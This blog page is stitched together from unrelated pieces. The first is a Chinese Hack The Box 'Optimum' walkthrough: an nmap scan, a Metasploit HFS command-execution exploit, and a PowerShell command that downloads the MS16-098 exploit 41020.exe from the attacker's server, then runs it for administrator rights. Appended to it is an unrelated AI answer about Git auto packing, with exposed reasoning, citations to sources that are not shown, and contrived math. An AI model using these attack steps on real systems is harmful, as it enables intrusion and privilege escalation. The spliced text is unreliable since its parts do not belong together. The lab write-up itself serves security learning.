hack the box optimum靶机

首先打开靶场,直接nmap开扫。

nmap -sV -Pn -A 10.10.10.8

在这里插入图片描述
通过扫描结果知道开启了80端口,80端口跑了HFS服务。顺势去msf搜索一下HFS有哪些漏洞

search hfs

在这里插入图片描述
使用下面的hfs的命令执行,然后看下要配置哪些东西

use 1
options

在这里插入图片描述
需要配置好远程主机,本地主机,配置好,run。多run几次,前面几次容易失败,而且要等挺久的。

set RHOSTS 10.10.10.8
set LHOSTS 10.10.14.17
run

利用成功后,返回meterpreter。然后看下当前文件夹的文件。能看到user的flag
在这里插入图片描述
可以直接读取user.txt.txt或者进入shell,读取user.txt.txt

#直接读取
cat user.txt.txt

在这里插入图片描述
接着继续找,看能不能进administrator文件夹,发现不能,而且也不能新建用户。
在这里插入图片描述
在这里插入图片描述
想着直接用msf的提权,但是执行后没有获得权限。那么我们应该怎么提权呢?看下打了哪些补丁。systeminfo还是能执行的。
在这里插入图片描述
拿到这个信息后,使用Windows-Exploit-Suggester脚本对比,看下突破点。(这个地方我怎么跑这个脚本都不行,说xlrd报错,这个脚本是用python2写的,大家注意。)
地址为https://git哈布.com/AonCyberLabs/Windows-Exploit-Suggester。使用方法看一下readme就行。记得是python2而且要装xlrd。

将远端的systeminfo信息复制下来,然后使用下面这条命令对比

python2 windows-exploit-suggester.py --database 2021-04-21-mssb.xls --systeminfo sysinfo.txt

对比结果能发现可以使用MS16–098提权。可以通过这个链接获取提权的exe。

https://git哈布.com/offensive-security/exploitdb-bin-sploits/raw/master/bin-sploits/41020.exe

下载后,在exe文件夹下启动一个本地的http服务器

python3 -m http.server 888

然后在靶机的shell中执行以下命令

powershell -c "(new-object System.Net.WebClient).DownloadFile('http://10.10.14.17:888/41020.exe', 'c:\Users\Public\Downloads\41020.exe')"

这个命令的意思是下载10.10.14.17上面的41020.exe,然后放在后面的位置下面。
在这里插入图片描述
在对应位置找到,然后执行41020.exe,顺利拿到最高权限
在这里插入图片描述
去到users/administrator/desktop下面拿到root.txt,搞定。
在这里插入图片描述
后记:发现前面的users.txt不难,但是在后面提权过程中就涉及到了python2环境等问题,很麻烦。特别是Windows-Exploit-Suggester脚本执行的不成功,我那段是直接参考了别人的内容,大家可以自己试试。特别kali似乎不带pip2,可以参考后面的链接。

参考链接
https://ranakhalil101.medium.com/hack-the-box-optimum-writeup-w-o-metasploit-3a912e1c488c
pip2安装的链接可以参考:
https://www.cnblogs.com/lzkalislw/p/15579620.html

<think>首先,用户的问题是关于Git的:"Auto packing the repository in background for optimum performance"。用户想了解如何理解或优化后台仓库打包以提高性能。 从系统指令中,我需要: - 所有行内数学表达式使用$...$格式。 - 独立公式使用$$...$$格式并单独成段。 - 使用中文回答。 - 生成相关问题。 - 回答中引用的段落末尾自然地添加引用标识,如[^1]。 - 回答结构清晰,帮助用户逐步解决问题。 - 参考提供的引用内容。 提供的引用内容: - [^1]: Git长时间未清理无法拉取代码,提示Auto packing... - [^2]: Git运行突然提示Auto packing,并提到error: The last gc run reported...需要移除.gc.log。 - [^3]: 解释Git使用松散对象格式,并打包成packfile以节省空间和效率。当有太多松散对象时提示运行'git gc'。 - [^4]: 解释Git的存储系统基于文件快照而不是差异,这可能导致仓库体积过大,需要gc垃圾回收。 用户的问题核心是理解和优化Git的自动后台打包以提高性能。 结构化回答: 1. **解释问题**:先解释什么是Git的自动打包(auto packing),为什么它发生,以及它对性能的影响。 2. **原因分析**:基于引用,Git打包是为了优化存储和性能,通过将松散对象打包成packfile。 3. **优化建议**:提供如何优化或手动触发打包的方法。 4. **解决常见问题**:如引用[^2]提到的错误,如何处理。 5. **生成相关问题**:在最后部分添加相关问题。 确保回答真实可靠:基于Git知识,引用内容支持。 关键点: - Git的自动打包是垃圾回收(gc)的一部分,用于压缩对象和优化仓库。 - 当松散对象过多时,Git自动在后台运行打包。 - 优化:手动运行`git gc`,配置Git行为,或处理错误。 回答结构: - 引言:简要解释用户的问题。 - 详细解释:分步解释Git打包机制。 - 优化建议:如何提高性能。 - 错误处理:如果用户遇到错误。 - 结论:总结。 - 相关问题:生成相关问题。 生成相关问题: - 基于主题,如如何手动运行gc、配置自动打包、解决相关错误等。 用中文回答。</think>### Git 后台自动打包仓库以优化性能的理解与优化 当 Git 提示 "Auto packing the repository in background for optimum performance" 时,这表示 Git 正在后台执行仓库打包操作,目的是优化存储效率和运行性能。这通常发生在 Git 仓库中积累了太多松散对象(loose objects)时,例如在频繁提交代码或长时间未清理仓库后。Git 会自动将这些松散对象打包成压缩的 packfile 文件,从而减少磁盘空间占用和提升后续操作(如拉取、推送)的速度[^3][^4]。下面,我将逐步解释其机制,并提供优化建议,帮助您更好地理解和处理这一问题。 #### 1. **Git 自动打包的机制与原因** - **为什么发生?** Git 的底层存储系统基于文件快照(而不是差异对比),这提高了分支效率,但容易导致仓库中积累大量重复或未压缩的松散对象(每个对象对应一个文件版本)。当松散对象数量超过阈值(默认约 6700 个),Git 会触发自动后台打包,将对象压缩成 packfile 二进制文件[^3][^4]。这个过程类似于垃圾回收(GC),旨在: - 节省磁盘空间(packfile 比松散对象更紧凑)。 - 提高操作性能(例如,读取 packfile 比扫描数千个松散文件更快)。 - 优化网络传输(在推送或拉取时,只传输 packfile 差异)。 数学上,Git 的打包算法涉及对象去重和增量压缩,其效率可以用空间复杂度 $O(n)$ 表示,其中 $n$ 是对象数量[^4]。 - **性能影响**:自动打包通常在后台运行,不会阻塞用户命令。但如果仓库过大或系统资源不足,它可能导致短暂延迟(如命令响应变慢)。在极端情况下,如果打包失败或中断,Git 会提示错误(如引用[^2]中提到的需要移除 `.git/gc.log` 文件)。 #### 2. **如何优化后台打包以提高性能** 优化核心是减少自动打包的频率或提高其效率,从而避免性能瓶颈。以下是基于 Git 最佳实践的建议: - **手动触发打包(推荐)**:定期运行 `git gc` 命令,可以主动清理仓库,避免后台自动打包的不可控延迟。命令如下: ```bash git gc --auto # 触发安全打包(仅当需要时) git gc --aggressive # 深度优化,但耗时较长,适用于大型仓库 ``` 这能提前处理松散对象,减少后台自动打包的发生[^3][^4]。优化后,仓库操作如 `git pull` 或 `git push` 的速度将显著提升。 - **配置 Git 以减少自动打包频率**:通过 Git 配置调整阈值,降低自动打包的敏感度。例如: ```bash git config gc.auto 10000 # 提高松散对象阈值(默认6700),减少触发频率 git config gc.autodetach false # 禁用后台分离进程,确保打包在前台运行(避免资源冲突) ``` 这些设置适用于大型仓库,能平衡性能和清理需求。数学上,阈值设置需考虑仓库大小:设 $T$ 为阈值,$O$ 为对象数量,当 $O > T$ 时触发打包;增大 $T$ 可减少打包次数,但可能增加存储开销[^3]。 - **处理常见错误**:如果遇到类似引用[^2]的错误(如 "error: The last gc run reported..."),表明自动打包失败。解决步骤: 1. 删除阻塞文件:`rm .git/gc.log`(移除日志文件以解除锁定)。 2. 手动运行修复:`git gc --prune=now`(强制清理过期对象)。 3. 检查仓库完整性:`git fsck`(验证对象一致性)。 这能恢复自动打包功能,并防止后续性能问题[^2][^4]。 - **其他优化技巧**: - **定期维护**:在低峰期运行 `git repack -a -d --depth=50 --window=250` 重新打包,优化 packfile 结构(参数根据仓库大小调整)。 - **减少仓库大小**:避免提交大文件(使用 Git LFS),或运行 `git filter-branch` 清理历史。 - **监控资源**:确保系统有足够内存和磁盘空间,因为打包过程可能消耗 CPU 和 I/O 资源。监控工具如 `top` 或 `git count-objects -v` 可帮助分析。 这些方法能有效提升 Git 整体性能,尤其在团队协作或持续集成环境中[^1][^4]。 #### 3. **何时无需担心** 自动打包是 Git 的正常优化机制,通常无需干预。如果提示仅偶尔出现且不影响命令执行(如引用[^1]),表明 Git 正在高效工作。但如果打包频繁发生或伴随错误,则需按上述步骤优化。 总之,Git 的自动后台打包是提升仓库性能的关键特性,理解其原理并主动管理,能显著改善开发体验。通过定期手动清理和合理配置,您可以最小化性能开销[^3][^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值